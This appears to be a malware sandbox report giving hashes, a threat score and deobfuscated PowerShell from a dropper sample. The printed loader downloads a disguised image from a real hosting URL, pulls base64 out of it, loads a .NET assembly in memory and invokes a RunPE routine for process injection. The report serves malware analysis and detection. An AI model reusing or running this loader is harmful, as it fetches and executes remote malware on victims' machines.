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General

  • Target

    2efb8e05f9b74fb551ceab2883a98e2e2300a4f29b050c0b747ba8250caf0c9e.unknown

  • Size

    1KB

  • Sample

    240704-bm7lzswfnm

  • MD5

    7c81cf8237e58f041ef1627eb04a2611

  • SHA1

    da3d8d66045d951a1c57f04316e3e27e450fd3f4

  • SHA256

    2efb8e05f9b74fb551ceab2883a98e2e2300a4f29b050c0b747ba8250caf0c9e

  • SHA512

    327e3792c508b69e7bf9e7b91bbae0591bcf2e3a0fed6065e02266f5fc63f08ab86576d72f9b1d17a0a886521cde2b32101f729f83be14cd374be062f93089c4

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
1
# powershell snippet 0
2
"$link = 'https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235'; $webClient = New-Object System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; exit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.1etsap/mv1d1u2b/war/ved.edocetsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','')) } }"|invoke-expression
3
4
# powershell snippet 1
5
$link = "https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235"
6
$webclient = new-object system.net.webclient
7
try {
8
$downloadeddata = $webclient.downloaddata("https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235")
9
} catch {
10
write-host "Failed To download data from $link" -foregroundcolor red
11
exit
12
}
13
14
if ($downloadeddata -ne $null) {
15
$imagetext = ([system.text.encoding]::ascii).getstring($downloadeddata)
16
$startflag = "<<BASE64_START>>"
17
$endflag = "<<BASE64_END>>"
18
$startindex = $imagetext.indexof("<<BASE64_START>>")
19
$endindex = $imagetext.indexof("<<BASE64_END>>")
20
if ($startindex -ge 0 -and $endindex -gt $startindex) {
URLs
ps1.dropper

https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235

exe.dropper

https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235

Targets

    • Target

      2efb8e05f9b74fb551ceab2883a98e2e2300a4f29b050c0b747ba8250caf0c9e.unknown

    • Size

      1KB

    • MD5

      7c81cf8237e58f041ef1627eb04a2611

    • SHA1

      da3d8d66045d951a1c57f04316e3e27e450fd3f4

    • SHA256

      2efb8e05f9b74fb551ceab2883a98e2e2300a4f29b050c0b747ba8250caf0c9e

    • SHA512

      327e3792c508b69e7bf9e7b91bbae0591bcf2e3a0fed6065e02266f5fc63f08ab86576d72f9b1d17a0a886521cde2b32101f729f83be14cd374be062f93089c4

    Score
    8/10
    • Blocklisted process makes network request

MITRE ATT&CK Enterprise v15

Tasks

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